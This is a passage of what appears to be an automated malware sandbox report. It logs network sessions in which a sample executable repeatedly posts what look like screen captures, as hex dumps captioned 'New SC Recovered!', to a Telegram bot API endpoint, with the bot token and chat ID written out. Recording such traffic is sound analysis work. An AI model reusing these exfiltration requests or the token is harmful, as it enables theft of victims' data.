04:14:35User
2024-05-17 23:38:15 UTC	16355	OUT	Data Raw: f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 54 b3 5b cd 07 fa d8 d9 41 e8 48 e0 fd 0d 45 5b 26 9e c6 2d 35 a3 0a 4a 5a 28 10 Data Ascii: br$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"\|T[AHE[&-5JZ(
2024-05-17 23:38:15 UTC	16355	OUT	Data Raw: 5a bd 8e fa f2 e1 21 b2 92 79 0e d4 52 39 c6 7b 8f 4a a1 7b aa 59 4f a5 5c a2 5c a3 3b 46 40 1c 82 78 f7 ae 50 4f 32 c2 d0 89 5b ca 6e a9 9e 0f e1 51 d5 c3 02 93 bb 63 a9 99 ca 4a d1 8e 96 0a 28 a2 bd 03 c9 0a 28 a2 80 12 ba 3f 0a 4f 0c 31 dd 79 b3 47 1e 4a e3 7b 01 9e be b5 ce 51 58 d7 a5 ed 61 cb 7b 1d 38 6a fe c2 a7 3d ae 7a 17 db ec ff 00 e7 f2 0f fb fa bf e3 49 f6 fb 2f f9 fc b7 ff 00 bf ab fe 35 e7 d4 57 17 f6 7f f7 bf 0f f8 27 a3 fd ad fd cf c7 fe 01 e8 3f 6f b2 ff 00 9f cb 7f fb fa bf e3 5c 7e bf 24 72 eb 13 bc 4e ae 87 6e 19 4e 41 f9 47 7a ce a2 b6 a1 84 f6 53 e6 e6 b9 cf 89 c7 fb 78 72 72 db e7 ff 00 00 28 a2 8a ed 3c e0 a2 8a 28 03 4b c3 9f f2 1d b6 ff 00 81 7f e8 26 bb aa f3 3a 4c 0f 4a e0 c4 61 25 56 7c c9 9e a6 17 1d 1a 14 f9 1a b9 e9 b4 57 Data Ascii: Z!yR9{J{YO\\;F@xPO2[nQcJ((?O1yGJ{QXa{8j=zI/5W'?o\~$rNnNAGzSxrr(<(K&:LJa%V\|W
2024-05-17 23:38:15 UTC	16355	OUT	Data Raw: 60 8d 0b 0d c7 79 1c 81 d7 d3 f2 ae 6a ee 4a ce 3e 87 b5 80 49 d3 d4 a8 de 1d b6 8b 56 d4 a1 96 59 7e c9 6b 6f e7 23 86 1b 9b 80 47 38 fa f6 ed 5a 9e 0c b8 16 de 1f 95 d9 e1 50 6e 88 cc d2 6c 1f 71 7b e0 f3 55 b5 0d 4e d1 fc 22 b2 24 d1 9b db 88 a2 b7 91 03 8d c0 21 3c 91 d7 9e 7f 31 53 78 44 ce 3c 39 2f 90 2e 4b 7d ac e7 ec fe 5e ec 6c 5f f9 e9 c6 3f 5a e4 a8 e5 2a 6f 9f ba 47 7c 52 53 f7 4d ef ed 68 ff 00 e7 be 9f ff 00 81 9f fd 8d 62 78 b3 fe 42 b1 ff 00 d7 05 ff 00 d0 9a b4 b7 6a 5f dc d6 3f f2 4e b3 7c 59 ff 00 21 58 ff 00 eb 82 ff 00 e8 4d 59 61 d2 55 a3 6f 3f c8 cf 1b 7f ab 4e fe 5f 9a 31 28 a2 8a f6 4f 9a 0a 28 a2 80 0a 28 a2 81 85 14 51 40 05 14 51 40 09 45 2d 14 00 94 52 d1 40 09 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 02 51 4b Data Ascii: `yjJ>IVY~ko#G8ZPnlq{UN"$!<1SxD<9/.K}^l_?Z*oG\|RSMhbxBj_?N\|Y!XMYaUo?N_1(O((Q@Q@E-R@EPEPEPEPEPQK
2024-05-17 23:38:15 UTC	15447	OUT	Data Raw: 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 30 a2 8a 28 01 28 a2 8a 00 28 a2 8a 06 14 86 97 b5 25 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 80 12 8a 5a 4a 06 14 51 45 00 14 94 51 4c 61 45 14 50 02 51 46 69 33 40 c5 a4 a4 a2 80 b0 67 da 93 34 51 40 c2 92 96 92 80 0a 4a 5a 4a 06 14 51 45 03 0a 4a 28 a0 02 92 96 92 81 85 14 51 40 09 45 14 50 31 0d 14 51 40 05 25 2d 25 03 0a 4a 5a 4a 00 29 29 68 a0 a1 28 a2 92 80 42 d2 51 45 00 21 a2 8a 28 18 52 52 d2 50 30 a4 a2 8a 00 4a 29 69 28 18 52 52 d2 50 30 a4 a2 8a 00 29 29 68 a0 62 51 45 14 0c 29 28 a4 a0 05 a4 a2 8a 06 1c 51 49 45 00 14 51 45 03 12 8a 28 a0 62 51 45 14 00 51 45 25 31 87 f3 a2 8f ca 83 48 62 1e 39 a2 8a 29 80 9f 8d 1c 51 45 03 0a 4e 29 69 38 a4 01 ef 47 d2 8a 29 80 94 be Data Ascii: (((RRPEP0(((%QE%Q@(ZJQEQLaEPQFi3@g4Q@JZJQEJ(Q@EP1Q@%-%JZJ))h(BQE!(RRP0J)i(RRP0))hbQE)(QIEQE(bQEQE%1Hb9)QEN)i8G)
2024-05-17 23:38:15 UTC	1409	OUT	Data Raw: 03 e7 da 28 a2 b5 30 36 f4 cf 12 4f 67 63 f6 0b 9b 58 2f ec f3 b9 61 b8 5c 85 3e a0 f6 fc 28 d4 fc 49 3d e5 8f d8 2d ad 60 b0 b3 ce e6 86 dd 70 18 fa 93 df f1 ac 4a 4a 2c 17 0a 28 a2 98 05 14 51 40 1a f7 3e 27 d7 2e 2e a5 9f fb 56 f2 2f 31 cb f9 71 5c 3a a2 e4 e7 0a 33 c0 1d aa 39 75 cb e9 e7 86 7b 89 3c f9 a2 b6 92 db cc 94 b3 33 2b 87 04 92 4f 24 09 0e 3e 82 b3 28 a4 17 0a 28 a2 80 0a 28 a2 98 1d 74 de 31 8a e6 38 92 5b 47 8f cb 5c 02 ac 1b 3f cb 1d 2a 49 bc 6d 0c f1 79 4d a6 98 81 ea eb 20 63 f9 60 7f 3a e3 68 ac 95 28 25 04 97 c3 aa df bd c6 e4 db 93 fe 6d ce 8b 58 f1 2a ea 3a 42 e9 c9 6c ca aa e1 bc c6 6e 4e 33 db 1e fe b5 ce d1 45 54 62 a3 7b 75 77 06 db b2 7d 02 8a 28 aa 11 bd a5 6a c8 22 58 27 6d 8c bc 2b 7a 8a eb b4 dd 4e ee e1 b6 bd e0 10 20 cb Data Ascii: (06OgcX/a\>(I=-`pJJ,(Q@>'..V/1q\:39u{<3+O$>(((t18[G\?ImyM c`:h(%mX:BlnN3ETb{uw}(j"X'm+zN
2024-05-17 23:38:15 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 62 31 38 30 66 66 64 35 33 66 66 2d 2d 0d 0a Data Ascii: -----------------------------8dc9b180ffd53ff--
2024-05-17 23:38:15 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-17 23:38:16 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 17 May 2024 23:38:16 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49744	149.154.167.220	443	6768	C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-17 23:38:23 UTC	262	OUT	POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc9f5b252489fb Host: api.telegram.org Content-Length: 66995 Expect: 100-continue Connection: Keep-Alive
2024-05-17 23:38:23 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-17 23:38:23 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 66 35 62 32 35 32 34 38 39 66 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 31 36 35 31 32 38 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 66 35 62 32 35 32 34 38 39 66 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 37 2f 30 38 2f 32 30 32 34 20 31 34 3a 31 34 3a 35 39 0a 55 73 65 72 Data Ascii: -----------------------------8dc9f5b252489fbContent-Disposition: form-data; name="chat_id"1165128482-----------------------------8dc9f5b252489fbContent-Disposition: form-data; name="caption"New SC Recovered!Time: 07/08/2024 14:14:59User
2024-05-17 23:38:23 UTC	16355	OUT	Data Raw: f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 54 b3 5b cd 07 fa d8 d9 41 e8 48 e0 fd 0d 45 5b 26 9e c6 2d 35 a3 0a 4a 5a 28 10 Data Ascii: br$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"\|T[AHE[&-5JZ(
2024-05-17 23:38:23 UTC	16355	OUT	Data Raw: 5a bd 8e fa f2 e1 21 b2 92 79 0e d4 52 39 c6 7b 8f 4a a1 7b aa 59 4f a5 5c a2 5c a3 3b 46 40 1c 82 78 f7 ae 50 4f 32 c2 d0 89 5b ca 6e a9 9e 0f e1 51 d5 c3 02 93 bb 63 a9 99 ca 4a d1 8e 96 0a 28 a2 bd 03 c9 0a 28 a2 80 12 ba 3f 0a 4f 0c 31 dd 79 b3 47 1e 4a e3 7b 01 9e be b5 ce 51 58 d7 a5 ed 61 cb 7b 1d 38 6a fe c2 a7 3d ae 7a 17 db ec ff 00 e7 f2 0f fb fa bf e3 49 f6 fb 2f f9 fc b7 ff 00 bf ab fe 35 e7 d4 57 17 f6 7f f7 bf 0f f8 27 a3 fd ad fd cf c7 fe 01 e8 3f 6f b2 ff 00 9f cb 7f fb fa bf e3 5c 7e bf 24 72 eb 13 bc 4e ae 87 6e 19 4e 41 f9 47 7a ce a2 b6 a1 84 f6 53 e6 e6 b9 cf 89 c7 fb 78 72 72 db e7 ff 00 00 28 a2 8a ed 3c e0 a2 8a 28 03 4b c3 9f f2 1d b6 ff 00 81 7f e8 26 bb aa f3 3a 4c 0f 4a e0 c4 61 25 56 7c c9 9e a6 17 1d 1a 14 f9 1a b9 e9 b4 57 Data Ascii: Z!yR9{J{YO\\;F@xPO2[nQcJ((?O1yGJ{QXa{8j=zI/5W'?o\~$rNnNAGzSxrr(<(K&:LJa%V\|W
2024-05-17 23:38:23 UTC	16355	OUT	Data Raw: 60 8d 0b 0d c7 79 1c 81 d7 d3 f2 ae 6a ee 4a ce 3e 87 b5 80 49 d3 d4 a8 de 1d b6 8b 56 d4 a1 96 59 7e c9 6b 6f e7 23 86 1b 9b 80 47 38 fa f6 ed 5a 9e 0c b8 16 de 1f 95 d9 e1 50 6e 88 cc d2 6c 1f 71 7b e0 f3 55 b5 0d 4e d1 fc 22 b2 24 d1 9b db 88 a2 b7 91 03 8d c0 21 3c 91 d7 9e 7f 31 53 78 44 ce 3c 39 2f 90 2e 4b 7d ac e7 ec fe 5e ec 6c 5f f9 e9 c6 3f 5a e4 a8 e5 2a 6f 9f ba 47 7c 52 53 f7 4d ef ed 68 ff 00 e7 be 9f ff 00 81 9f fd 8d 62 78 b3 fe 42 b1 ff 00 d7 05 ff 00 d0 9a b4 b7 6a 5f dc d6 3f f2 4e b3 7c 59 ff 00 21 58 ff 00 eb 82 ff 00 e8 4d 59 61 d2 55 a3 6f 3f c8 cf 1b 7f ab 4e fe 5f 9a 31 28 a2 8a f6 4f 9a 0a 28 a2 80 0a 28 a2 81 85 14 51 40 05 14 51 40 09 45 2d 14 00 94 52 d1 40 09 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 02 51 4b Data Ascii: `yjJ>IVY~ko#G8ZPnlq{UN"$!<1SxD<9/.K}^l_?Z*oG\|RSMhbxBj_?N\|Y!XMYaUo?N_1(O((Q@Q@E-R@EPEPEPEPEPQK
2024-05-17 23:38:23 UTC	15447	OUT	Data Raw: 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 30 a2 8a 28 01 28 a2 8a 00 28 a2 8a 06 14 86 97 b5 25 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 80 12 8a 5a 4a 06 14 51 45 00 14 94 51 4c 61 45 14 50 02 51 46 69 33 40 c5 a4 a4 a2 80 b0 67 da 93 34 51 40 c2 92 96 92 80 0a 4a 5a 4a 06 14 51 45 03 0a 4a 28 a0 02 92 96 92 81 85 14 51 40 09 45 14 50 31 0d 14 51 40 05 25 2d 25 03 0a 4a 5a 4a 00 29 29 68 a0 a1 28 a2 92 80 42 d2 51 45 00 21 a2 8a 28 18 52 52 d2 50 30 a4 a2 8a 00 4a 29 69 28 18 52 52 d2 50 30 a4 a2 8a 00 29 29 68 a0 62 51 45 14 0c 29 28 a4 a0 05 a4 a2 8a 06 1c 51 49 45 00 14 51 45 03 12 8a 28 a0 62 51 45 14 00 51 45 25 31 87 f3 a2 8f ca 83 48 62 1e 39 a2 8a 29 80 9f 8d 1c 51 45 03 0a 4e 29 69 38 a4 01 ef 47 d2 8a 29 80 94 be Data Ascii: (((RRPEP0(((%QE%Q@(ZJQEQLaEPQFi3@g4Q@JZJQEJ(Q@EP1Q@%-%JZJ))h(BQE!(RRP0J)i(RRP0))hbQE)(QIEQE(bQEQE%1Hb9)QEN)i8G)
2024-05-17 23:38:23 UTC	1409	OUT	Data Raw: 03 e7 da 28 a2 b5 30 36 f4 cf 12 4f 67 63 f6 0b 9b 58 2f ec f3 b9 61 b8 5c 85 3e a0 f6 fc 28 d4 fc 49 3d e5 8f d8 2d ad 60 b0 b3 ce e6 86 dd 70 18 fa 93 df f1 ac 4a 4a 2c 17 0a 28 a2 98 05 14 51 40 1a f7 3e 27 d7 2e 2e a5 9f fb 56 f2 2f 31 cb f9 71 5c 3a a2 e4 e7 0a 33 c0 1d aa 39 75 cb e9 e7 86 7b 89 3c f9 a2 b6 92 db cc 94 b3 33 2b 87 04 92 4f 24 09 0e 3e 82 b3 28 a4 17 0a 28 a2 80 0a 28 a2 98 1d 74 de 31 8a e6 38 92 5b 47 8f cb 5c 02 ac 1b 3f cb 1d 2a 49 bc 6d 0c f1 79 4d a6 98 81 ea eb 20 63 f9 60 7f 3a e3 68 ac 95 28 25 04 97 c3 aa df bd c6 e4 db 93 fe 6d ce 8b 58 f1 2a ea 3a 42 e9 c9 6c ca aa e1 bc c6 6e 4e 33 db 1e fe b5 ce d1 45 54 62 a3 7b 75 77 06 db b2 7d 02 8a 28 aa 11 bd a5 6a c8 22 58 27 6d 8c bc 2b 7a 8a eb b4 dd 4e ee e1 b6 bd e0 10 20 cb Data Ascii: (06OgcX/a\>(I=-`pJJ,(Q@>'..V/1q\:39u{<3+O$>(((t18[G\?ImyM c`:h(%mX:BlnN3ETb{uw}(j"X'm+zN
2024-05-17 23:38:23 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 66 35 62 32 35 32 34 38 39 66 62 2d 2d 0d 0a Data Ascii: -----------------------------8dc9f5b252489fb--
2024-05-17 23:38:24 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 17 May 2024 23:38:24 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49745	149.154.167.220	443	6768	C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-17 23:38:37 UTC	262	OUT	POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dca59a756be172 Host: api.telegram.org Content-Length: 66995 Expect: 100-continue Connection: Keep-Alive
2024-05-17 23:38:37 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 35 39 61 37 35 36 62 65 31 37 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 31 36 35 31 32 38 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 35 39 61 37 35 36 62 65 31 37 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 37 2f 31 36 2f 32 30 32 34 20 31 33 3a 31 33 3a 31 34 0a 55 73 65 72 Data Ascii: -----------------------------8dca59a756be172Content-Disposition: form-data; name="chat_id"1165128482-----------------------------8dca59a756be172Content-Disposition: form-data; name="caption"New SC Recovered!Time: 07/16/2024 13:13:14User
2024-05-17 23:38:37 UTC	16355	OUT	Data Raw: f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 54 b3 5b cd 07 fa d8 d9 41 e8 48 e0 fd 0d 45 5b 26 9e c6 2d 35 a3 0a 4a 5a 28 10 Data Ascii: br$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"\|T[AHE[&-5JZ(
2024-05-17 23:38:37 UTC	16355	OUT	Data Raw: 5a bd 8e fa f2 e1 21 b2 92 79 0e d4 52 39 c6 7b 8f 4a a1 7b aa 59 4f a5 5c a2 5c a3 3b 46 40 1c 82 78 f7 ae 50 4f 32 c2 d0 89 5b ca 6e a9 9e 0f e1 51 d5 c3 02 93 bb 63 a9 99 ca 4a d1 8e 96 0a 28 a2 bd 03 c9 0a 28 a2 80 12 ba 3f 0a 4f 0c 31 dd 79 b3 47 1e 4a e3 7b 01 9e be b5 ce 51 58 d7 a5 ed 61 cb 7b 1d 38 6a fe c2 a7 3d ae 7a 17 db ec ff 00 e7 f2 0f fb fa bf e3 49 f6 fb 2f f9 fc b7 ff 00 bf ab fe 35 e7 d4 57 17 f6 7f f7 bf 0f f8 27 a3 fd ad fd cf c7 fe 01 e8 3f 6f b2 ff 00 9f cb 7f fb fa bf e3 5c 7e bf 24 72 eb 13 bc 4e ae 87 6e 19 4e 41 f9 47 7a ce a2 b6 a1 84 f6 53 e6 e6 b9 cf 89 c7 fb 78 72 72 db e7 ff 00 00 28 a2 8a ed 3c e0 a2 8a 28 03 4b c3 9f f2 1d b6 ff 00 81 7f e8 26 bb aa f3 3a 4c 0f 4a e0 c4 61 25 56 7c c9 9e a6 17 1d 1a 14 f9 1a b9 e9 b4 57 Data Ascii: Z!yR9{J{YO\\;F@xPO2[nQcJ((?O1yGJ{QXa{8j=zI/5W'?o\~$rNnNAGzSxrr(<(K&:LJa%V\|W
2024-05-17 23:38:37 UTC	16355	OUT	Data Raw: 60 8d 0b 0d c7 79 1c 81 d7 d3 f2 ae 6a ee 4a ce 3e 87 b5 80 49 d3 d4 a8 de 1d b6 8b 56 d4 a1 96 59 7e c9 6b 6f e7 23 86 1b 9b 80 47 38 fa f6 ed 5a 9e 0c b8 16 de 1f 95 d9 e1 50 6e 88 cc d2 6c 1f 71 7b e0 f3 55 b5 0d 4e d1 fc 22 b2 24 d1 9b db 88 a2 b7 91 03 8d c0 21 3c 91 d7 9e 7f 31 53 78 44 ce 3c 39 2f 90 2e 4b 7d ac e7 ec fe 5e ec 6c 5f f9 e9 c6 3f 5a e4 a8 e5 2a 6f 9f ba 47 7c 52 53 f7 4d ef ed 68 ff 00 e7 be 9f ff 00 81 9f fd 8d 62 78 b3 fe 42 b1 ff 00 d7 05 ff 00 d0 9a b4 b7 6a 5f dc d6 3f f2 4e b3 7c 59 ff 00 21 58 ff 00 eb 82 ff 00 e8 4d 59 61 d2 55 a3 6f 3f c8 cf 1b 7f ab 4e fe 5f 9a 31 28 a2 8a f6 4f 9a 0a 28 a2 80 0a 28 a2 81 85 14 51 40 05 14 51 40 09 45 2d 14 00 94 52 d1 40 09 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 02 51 4b Data Ascii: `yjJ>IVY~ko#G8ZPnlq{UN"$!<1SxD<9/.K}^l_?Z*oG\|RSMhbxBj_?N\|Y!XMYaUo?N_1(O((Q@Q@E-R@EPEPEPEPEPQK
2024-05-17 23:38:37 UTC	15447	OUT	Data Raw: 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 30 a2 8a 28 01 28 a2 8a 00 28 a2 8a 06 14 86 97 b5 25 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 80 12 8a 5a 4a 06 14 51 45 00 14 94 51 4c 61 45 14 50 02 51 46 69 33 40 c5 a4 a4 a2 80 b0 67 da 93 34 51 40 c2 92 96 92 80 0a 4a 5a 4a 06 14 51 45 03 0a 4a 28 a0 02 92 96 92 81 85 14 51 40 09 45 14 50 31 0d 14 51 40 05 25 2d 25 03 0a 4a 5a 4a 00 29 29 68 a0 a1 28 a2 92 80 42 d2 51 45 00 21 a2 8a 28 18 52 52 d2 50 30 a4 a2 8a 00 4a 29 69 28 18 52 52 d2 50 30 a4 a2 8a 00 29 29 68 a0 62 51 45 14 0c 29 28 a4 a0 05 a4 a2 8a 06 1c 51 49 45 00 14 51 45 03 12 8a 28 a0 62 51 45 14 00 51 45 25 31 87 f3 a2 8f ca 83 48 62 1e 39 a2 8a 29 80 9f 8d 1c 51 45 03 0a 4e 29 69 38 a4 01 ef 47 d2 8a 29 80 94 be Data Ascii: (((RRPEP0(((%QE%Q@(ZJQEQLaEPQFi3@g4Q@JZJQEJ(Q@EP1Q@%-%JZJ))h(BQE!(RRP0J)i(RRP0))hbQE)(QIEQE(bQEQE%1Hb9)QEN)i8G)
2024-05-17 23:38:37 UTC	1409	OUT	Data Raw: 03 e7 da 28 a2 b5 30 36 f4 cf 12 4f 67 63 f6 0b 9b 58 2f ec f3 b9 61 b8 5c 85 3e a0 f6 fc 28 d4 fc 49 3d e5 8f d8 2d ad 60 b0 b3 ce e6 86 dd 70 18 fa 93 df f1 ac 4a 4a 2c 17 0a 28 a2 98 05 14 51 40 1a f7 3e 27 d7 2e 2e a5 9f fb 56 f2 2f 31 cb f9 71 5c 3a a2 e4 e7 0a 33 c0 1d aa 39 75 cb e9 e7 86 7b 89 3c f9 a2 b6 92 db cc 94 b3 33 2b 87 04 92 4f 24 09 0e 3e 82 b3 28 a4 17 0a 28 a2 80 0a 28 a2 98 1d 74 de 31 8a e6 38 92 5b 47 8f cb 5c 02 ac 1b 3f cb 1d 2a 49 bc 6d 0c f1 79 4d a6 98 81 ea eb 20 63 f9 60 7f 3a e3 68 ac 95 28 25 04 97 c3 aa df bd c6 e4 db 93 fe 6d ce 8b 58 f1 2a ea 3a 42 e9 c9 6c ca aa e1 bc c6 6e 4e 33 db 1e fe b5 ce d1 45 54 62 a3 7b 75 77 06 db b2 7d 02 8a 28 aa 11 bd a5 6a c8 22 58 27 6d 8c bc 2b 7a 8a eb b4 dd 4e ee e1 b6 bd e0 10 20 cb Data Ascii: (06OgcX/a\>(I=-`pJJ,(Q@>'..V/1q\:39u{<3+O$>(((t18[G\?ImyM c`:h(%mX:BlnN3ETb{uw}(j"X'm+zN
2024-05-17 23:38:37 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 35 39 61 37 35 36 62 65 31 37 32 2d 2d 0d 0a Data Ascii: -----------------------------8dca59a756be172--
2024-05-17 23:38:37 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-17 23:38:38 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 17 May 2024 23:38:38 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49746	149.154.167.220	443	6768	C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-17 23:38:45 UTC	262	OUT	POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcaa4c722ca350 Host: api.telegram.org Content-Length: 66995 Expect: 100-continue Connection: Keep-Alive
